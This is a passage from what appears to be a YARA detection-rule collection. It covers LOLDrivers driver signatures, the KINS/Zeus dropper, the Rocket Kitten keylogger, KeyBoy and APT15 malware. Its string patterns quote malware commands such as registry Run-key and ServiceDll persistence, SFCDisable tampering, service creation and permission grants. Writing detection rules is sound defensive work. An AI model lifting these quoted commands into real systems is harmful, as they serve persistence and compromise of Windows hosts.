		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002c00200030002c00200032002c00200031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002c00200030002c00200032002c00200031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e007400620069006f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0020004d006900630072006f0073006f00660074002800520029002000570069006e0064006f0077007300200028005200290020004e00540020004f007000650072006100740069006e0067002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e007400620069006f0073002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000300033 }

	condition:
		all of them
}

rule MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_200F
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "200f98655d1f46d2599c2c8605ebb7e335fee3883a32135ca1a81e09819bc64a"
		date = "2023-06-14"
		score = 70
		id = "8a8887dd-0f3d-5ab4-a945-b47966789b99"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310039002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }

	condition:
		all of them
}

rule MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_E7AF
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_6.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e7af7bcb86bd6bab1835f610671c3921441965a839673ac34444cf0ce7b2164e"
		hash = "b9dad0131c51e2645e761b74a71ebad2bf175645fa9f42a4ab0e6921b83306e3"
		hash = "8d9a2363b757d3f127b9c6ed8f7b8b018e652369bc070aa3500b3a978feaa6ce"
		hash = "06a0ec9a316eb89cb041b1907918e3ad3b03842ec65f004f6fa74d57955573a4"
		date = "2023-06-14"
		score = 70
		id = "5f883209-6887-5cb4-96bb-988898d47c09"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003100370032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003100370032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		all of them
}

rule MAL_Driver_Gmer_Gmersys_Gmer_18C9
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gmer64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7"
		date = "2023-06-14"
		score = 70
		id = "a2197304-4455-52bb-ac73-9218b310bb99"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004d00450052002000440072006900760065007200200068007400740070003a002f002f007700770077002e0067006d00650072002e006e00650074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004d00450052 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c002000360039003800330020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200036003900380033 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006d0065007200360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004d00450052 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006d0065007200360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200047004d0045005200200032003000300033002d0032003000310033 }

	condition:
		all of them
}

rule MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_6908
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_2.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6908ebf52eb19c6719a0b508d1e2128f198d10441551cbfb9f4031d382f5229f"
		date = "2023-06-14"
		score = 70
		id = "3bd8b888-8170-5da6-ba1c-f13c1ca27e6f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003900330038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003900330038 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		all of them
}

rule MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_81C7
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_3.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "81c7bb39100d358f8286da5e9aa838606c98dfcc263e9a82ed91cd438cb130d1"
		date = "2023-06-14"
		score = 70
		id = "43ae822a-c4c4-5525-bfd3-a05d1ec50bd0"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e003900330038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e003900330038 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		all of them
}

rule MAL_Driver_Sensecorp_7F45
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Sense5Ext.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7f4555a940ce1156c9bcea9a2a0b801f9a5e44ec9400b61b14a7b1a6404ffdf6"
		date = "2023-06-14"
		score = 70
		id = "6c1f5ba4-fd14-5069-9d99-e3072b2dbbc2"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006e0073006500350020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530065006e00730065003500200043004f00520050 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0036002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0036002e0030002e0030 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320032 }

	condition:
		all of them
}

rule MAL_Driver_Microsoftcorporation_Ndislansys_Microsoftwindowsoperatingsystem_B0EB
{
	meta:
		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ndislan.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "b0eb4d999e4e0e7c2e33ff081e847c87b49940eb24a9e0794c6aa9516832c427"
		date = "2023-06-14"
		score = 70
		id = "c94adcf3-2ea6-5856-9327-2e5ed1c49b22"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d00530020004c0041004e0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003400320031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003400320031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e006400690073006c0061006e002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e006400690073006c0061006e002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		all of them
}

rule KINS_dropper
{
	meta:
		author = "AlienVault Labs aortega@alienvault.com"
		description = "Match protocol, process injects and windows exploit present in KINS dropper"
		reference = "http://goo.gl/arPhm3"
		id = "17e12685-aaad-5d83-949c-43d5aef1ef0d"

	strings:
		$n1 = "tid=%d&ta=%s-%x" fullword
		$n2 = "fid=%d" fullword
		$n3 = "%[^.].%[^(](%[^)])" fullword
		$i0 = "%s [%s %d] 77 %s"
		$i01 = "Global\\%s%x"
		$i1 = "Inject::InjectProcessByName()"
		$i2 = "Inject::CopyImageToProcess()"
		$i3 = "Inject::InjectProcess()"
		$i4 = "Inject::InjectImageToProcess()"
		$i5 = "Drop::InjectStartThread()"
		$uac1 = "ExploitMS10_092"
		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide

	condition:
		2 of ( $n* ) and 2 of ( $i* ) and 2 of ( $uac* )
}

rule KINS_DLL_zeus
{
	meta:
		author = "AlienVault Labs aortega@alienvault.com"
		description = "Match default bot in KINS leaked dropper, Zeus"
		reference = "http://goo.gl/arPhm3"
		id = "968ada06-c8a1-5053-95de-10aa484231cb"

	strings:
		$n1 = "%BOTID%" fullword
		$n2 = "%opensocks%" fullword
		$n3 = "%openvnc%" fullword
		$n4 = /Global\\(s|v)_ev/ fullword
		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"

	condition:
		all of ( $n* ) and 1 of ( $s* )
}

rule RocketKitten_Keylogger
{
	meta:
		description = "Detects Keylogger used in Rocket Kitten APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/SjQhlp"
		date = "2015-09-01"
		super_rule = 1
		hash1 = "1c9e519dca0468a87322bebe2a06741136de7969a4eb3efda0ab8db83f0807b4"
		hash2 = "495a15f9f30d6f6096a97c2bd8cc5edd4d78569b8d541b1d5a64169f8109bc5b"
		id = "558341db-a30d-586e-8efc-0fff1d8f94a1"

	strings:
		$x1 = "\\Release\\CWoolger.pdb" ascii
		$x2 = "WoolenLoger\\obj\\x86\\Release" ascii
		$x3 = "D:\\Yaser Logers\\"
		$z1 = "woolger" fullword wide
		$s1 = "oShellLink.TargetPath = \"" fullword ascii
		$s2 = "wscript.exe " fullword ascii
		$s3 = "strSTUP = WshShell.SpecialFolders(\"Startup\")" fullword ascii
		$s4 = "[CapsLock]" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $x* ) or ( $z1 and 2 of ( $s* ) ) ) ) or ( $z1 and all of ( $s* ) )
}

rule SUSP_BAT_Aux_Jan20_1
{
	meta:
		description = "Detects BAT file often dropped to cleanup temp dirs during infection"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9"
		date = "2020-01-29"
		score = 65
		hash1 = "f5d558ec505b635b1e37557350562ad6f79b3da5cf2cf74db6e6e648b7a47127"
		id = "c97f189e-a0c2-532e-b087-8669da72a2ad"

	strings:
		$s1 = "if exist \"C:\\Users\\" ascii
		$s2 = "\\AppData\\Local\\Temp\\" ascii
		$s3 = "del \"C:\\Users\\" ascii
		$s4 = ".bat\"" ascii
		$s5 = ".exe\" goto" ascii

	condition:
		uint8( 0 ) == 0x3a and filesize <= 1KB and all of them
}

import "pe"

rule KasperMalware_Oct17_1
{
	meta:
		description = "Detects Kasper Backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-10-24"
		hash1 = "758bdaf26a0bd309a5458cb4569fe1c789cf5db087880d6d1676dec051c3a28d"
		id = "7201d8ee-50ee-5a5c-a5b8-ee36c78b0d6e"

	strings:
		$x1 = "\\Release\\kasper.pdb" ascii
		$x2 = "C:\\D@oc@um@en@ts a@nd Set@tings\\Al@l Users" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 7000KB and ( pe.imphash ( ) == "2bceb64cf37acd34bc33b38f2cddfb61" or 1 of them )
}

rule ProjectM_DarkComet_1
{
	meta:
		description = "Detects ProjectM Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
		date = "2016-03-26"
		modified = "2023-01-27"
		hash = "cc488690ce442e9f98bac651218f4075ca36c355d8cd83f7a9f5230970d24157"
		id = "6de74d73-f9b2-5e7f-b15e-f850425d849c"

	strings:
		$x1 = "DarkO\\_2" fullword ascii
		$a1 = "AVICAP32.DLL" fullword ascii
		$a2 = "IDispatch4" fullword ascii
		$a3 = "FLOOD/" fullword ascii
		$a4 = "T<-/HTTP://" ascii
		$a5 = "infoes" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 4 of them ) or ( all of them )
}

rule ProjectM_CrimsonDownloader
{
	meta:
		description = "Detects ProjectM Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
		date = "2016-03-26"
		hash = "dc8bd60695070152c94cbeb5f61eca6e4309b8966f1aa9fdc2dd0ab754ad3e4c"
		id = "2e0658c9-a93d-5eef-93a2-eb1ab29acaee"

	strings:
		$x1 = "E:\\Projects\\m_project\\main\\mj shoaib"
		$s1 = "\\obj\\x86\\Debug\\secure_scan.pdb" ascii
		$s2 = "secure_scan.exe" fullword wide
		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|mswall" fullword wide
		$s4 = "secure_scan|mswall" fullword wide
		$s5 = "[Microsoft-Security-Essentials]" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and $x1 ) or ( all of them )
}

import "pe"

rule KeyBoys_malware_1
{
	meta:
		description = "Detects Keyboys malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html"
		date = "2017-11-02"
		hash1 = "1d716cee0f318ee14d7c3b946a4626a1afe6bb47f69668065e00e099be362e22"
		hash2 = "a6e9951583073ab2598680b17b8b99bab280d6dca86906243bafaf3febdf1565"
		hash3 = "34f740e5d845710ede1d942560f503e117600bcc7c5c17e03c09bfc66556196c"
		hash4 = "750f4a9ae44438bf053ffb344b959000ea624d1964306e4b3806250f4de94bc8"
		hash5 = "fc84856814307a475300d2a44e8d15635dedd02dc09a088a47d1db03bc309925"
		hash6 = "0f9a7efcd3a2b1441834dae7b43cd8d48b4fc1daeb2c081f908ac5a1369de753"
		id = "4e334f62-6ffc-55c3-bcbe-ff4a80fb007d"

	strings:
		$x1 = "reg add HKLM\\%s\\Parameters /v ServiceDll /t REG_EXPAND_SZ /d \"%s\" /f" fullword ascii
		$x3 = "Internet using \\svchost.exe -k  -n 3" fullword ascii
		$x4 = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v SFCDisable /t REG_DWORD /d 4 /f" fullword ascii
		$s1 = "sc create %s binpath= \"%s\" Type= share Start= auto DisplayName= \"%s\"" fullword ascii
		$s2 = "ExecCmd:%s" fullword ascii
		$s3 = "szCommand : %s" fullword ascii
		$s4 = "Current user is a member of the %s\\%s group" fullword ascii
		$s5 = "icacls %s /grant administrators:F" fullword ascii
		$s6 = "Ping 127.0.0.1 goto Repeat" fullword ascii
		$s7 = "Start MoveFile %s -> %s" fullword ascii
		$s8 = "move %s\\dllcache%s %s\\dllcache\\%s" fullword ascii
		$s9 = "%s\\cmd.exe /c \"%s\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( pe.imphash ( ) == "68f7eced34c46808756db4b0c45fb589" or ( pe.exports ( "Insys" ) and pe.exports ( "Inuser" ) and pe.exports ( "SSSS" ) ) or 1 of ( $x* ) or 4 of them )
}

rule KeyBoy_InstallClient
{
	meta:
		description = "Detects KeyBoy InstallClient"
		author = "Markus Neis, Florian Roth"
		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
		date = "2018-03-26"
		hash1 = "85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b"
		hash2 = "b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a"
		hash1 = "d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a"
		id = "d1359f35-d6cd-502b-8cf7-6215bf5e62ba"

	strings:
		$x1 = "egsvr32.exe \"/u bitsadmin /canceft\\windows\\currebitsadmin" ascii
		$x2 = "/addfibitsadmin /Resumbitsadmin /SetNosoftware\\microsotifyCmdLine " ascii
		$x3 = "D:\\Work\\Project\\VS\\house\\Apple\\" ascii
		$x4 = "Bj+I11T6z9HFMG5Z5FMT/u62z9zw8FyWV0xrcK7HcYXkiqnAy5tc/iJuKtwM8CT3sFNuQu8xDZQGSR6D8/Bc/Dpuz8gMJFz+IrYqNAzwuPIitg==" fullword ascii
		$x5 = "szCmd1:%s" fullword ascii
		$s1 = "cmd.exe /c \"%s\"" fullword ascii
		$s4 = "rundll32.exe %s Main" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 1 of ( $x* ) or 2 of them )
}

rule KeyBoy_wab32res
{
	meta:
		description = "Detects KeyBoy Loader wab32res.dll"
		author = "Markus Neis, Florian Roth"
		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
		date = "2018-03-26"
		hash1 = "02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456"
		hash2 = "fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6"
		id = "0e4045a7-1c45-5043-9e10-e969219b67f8"

	strings:
		$x1 = "B4490-2314-55C1- /Processid:{321bitsadmin /canceft\\windows\\curresoftware\\microso" fullword ascii
		$x2 = "D:\\Work\\VS\\House\\TSSL\\TSSL\\TClient" ascii
		$x3 = "\\Release\\FakeRun.pdb" ascii
		$x4 = "FakeRun.dll" fullword ascii
		$s1 = "cmd.exe /c \"%s\"" fullword ascii
		$s2 = "CreateProcess failed (%d)" fullword ascii
		$s3 = "CreateProcess %s " fullword ascii
		$s4 = "FindResource %s error " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or 4 of them )
}

import "pe"

rule KeyBoy_rasauto
{
	meta:
		description = "Detects KeyBoy ServiceClient"
		author = "Markus Neis, Florian Roth"
		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
		date = "2018-03-26"
		hash1 = "49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245"
		id = "b6c72a91-fda1-5f40-804f-896b25a8813f"

	strings:
		$x1 = "rundll32.exe %s SSSS & exit" fullword ascii
		$x2 = "D:\\Work\\Project\\VS\\HSSL\\HSSL_Unicode _2\\Release\\ServiceClient.pdb" fullword ascii
		$s1 = "cmd.exe /c \"%s\"" fullword ascii
		$s2 = "CreateProcess failed (%d)" fullword ascii
		$s3 = "ServiceClient.dll" fullword ascii
		$s4 = "NtWow64QueryInformationProcess64 failed" fullword ascii
		$s5 = "pid:%d CmdLine:%S" fullword ascii
		$s6 = "rasauto32.ServiceMain" fullword ascii
		$s7 = "del /q/f %s\\%s*" fullword ascii
		$s8 = "szTmpDll:%s" fullword ascii
		$s9 = "lpCmdLine:%s" fullword ascii
		$s0 = "ReleaseFileFromRes:%s ok!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( pe.exports ( "SSSS" ) or 1 of ( $x* ) or 4 of them )
}

rule KeyBoy_876_0x4e20000
{
	meta:
		description = "Detects KeyBoy Backdoor"
		author = "Markus Neis, Florian Roth"
		reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
		date = "2018-03-26"
		hash1 = "6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334"
		id = "0b871f62-0f7c-5c94-9b3d-f68832ab64b4"

	strings:
		$x1 = "%s\\rundll32.exe %s ServiceTake %s %s" fullword ascii
		$x2 = "#%sCmd shell is not running,or your cmd is error!" fullword ascii
		$x3 = "Take Screen Error,May no user login!" fullword ascii
		$x4 = "Get logon user fail!" fullword ascii
		$x5 = "8. LoginPasswd:%s" fullword ascii
		$x6 = "Take Screen Error,service dll not exists" fullword ascii
		$s1 = "taskkill /f /pid %s" fullword ascii
		$s2 = "TClient.exe" fullword ascii
		$s3 = "%s\\wab32res.dll" fullword ascii
		$s4 = "%s\\rasauto.dll" fullword ascii
		$s5 = "Download file:%s index:%d" fullword ascii
		$s6 = "LogonUser: [%s]" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) or 3 of them )
}

rule APT15_Malware_Mar18_RoyalCli
{
	meta:
		description = "Detects malware from APT 15 report by NCC Group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/HZ5XMN"
		date = "2018-03-10"
		hash1 = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
		id = "165bfa6c-1a8d-5628-8c35-da4e4a2ae04f"

	strings:
		$s1 = "\\Release\\RoyalCli.pdb" ascii
		$s2 = "%snewcmd.exe" fullword ascii
		$s3 = "Run cmd error %d" fullword ascii
		$s4 = "%s~clitemp%08x.ini" fullword ascii
		$s5 = "run file failed" fullword ascii
		$s6 = "Cmd timeout %d" fullword ascii
		$s7 = "2 %s  %d 0 %d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them
}

import "pe"

rule APT15_Malware_Mar18_RoyalDNS
{
	meta:
		description = "Detects malware from APT 15 report by NCC Group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/HZ5XMN"
		date = "2018-03-10"
		hash1 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
		id = "c2f519db-2750-53ce-ae18-697ea041faaf"

	strings:
		$x1 = "del c:\\windows\\temp\\r.exe /f /q" fullword ascii
		$x2 = "%s\\r.exe" fullword ascii
		$s1 = "rights.dll" fullword ascii
		$s2 = "\"%s\">>\"%s\"\\s.txt" fullword ascii
		$s3 = "Nwsapagent" fullword ascii
		$s4 = "%s\\r.bat" fullword ascii
		$s5 = "%s\\s.txt" fullword ascii
		$s6 = "runexe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( ( pe.exports ( "RunInstallA" ) and pe.exports ( "RunUninstallA" ) ) or 1 of ( $x* ) or 2 of them )
}

rule APT15_Malware_Mar18_BS2005
{
	meta:
		description = "Detects malware from APT 15 report by NCC Group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/HZ5XMN"
		date = "2018-03-10"
		hash1 = "750d9eecd533f89b8aa13aeab173a1cf813b021b6824bc30e60f5db6fa7b950b"
		id = "700bbe14-d79e-5a35-aab3-31eacd5bd950"

	strings:
		$x1 = "AAAAKQAASCMAABi+AABnhEBj8vep7VRoAEPRWLweGc0/eiDrXGajJXRxbXsTXAcZAABK4QAAPWwAACzWAAByrg==" fullword ascii
		$x2 = "AAAAKQAASCMAABi+AABnhKv3kXJJousn5YzkjGF46eE3G8ZGse4B9uoqJo8Q2oF0AABK4QAAPWwAACzWAAByrg==" fullword ascii
		$a1 = "http://%s/content.html?id=%s" fullword ascii
		$a2 = "http://%s/main.php?ssid=%s" fullword ascii
		$a3 = "http://%s/webmail.php?id=%s" fullword ascii
		$a9 = "http://%s/error.html?tab=%s" fullword ascii
		$s1 = "%s\\~tmp.txt" fullword ascii
		$s2 = "%s /C %s >>\"%s\" 2>&1" fullword ascii
		$s3 = "DisableFirstRunCustomize" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $x* ) or 2 of them )
}

rule APT15_Malware_Mar18_MSExchangeTool
{
	meta:
		description = "Detects malware from APT 15 report by NCC Group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/HZ5XMN"
		date = "2018-03-10"
		hash1 = "16b868d1bef6be39f69b4e976595e7bd46b6c0595cf6bc482229dbb9e64f1bce"
		id = "81b826b6-8c2e-5a8a-a626-9515d40dbbb0"

	strings:
		$s1 = "\\Release\\EWSTEW.pdb" ascii
		$s2 = "EWSTEW.exe" fullword wide
		$s3 = "Microsoft.Exchange.WebServices.Data" fullword ascii
		$s4 = "tmp.dat" fullword wide
		$s6 = "/v or /t is null" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and all of them
}

rule clean_apt15_patchedcmd
{
	meta:
		author = "Ahmed Zaki"
		description = "This is a patched CMD. This is the CMD that RoyalCli uses."
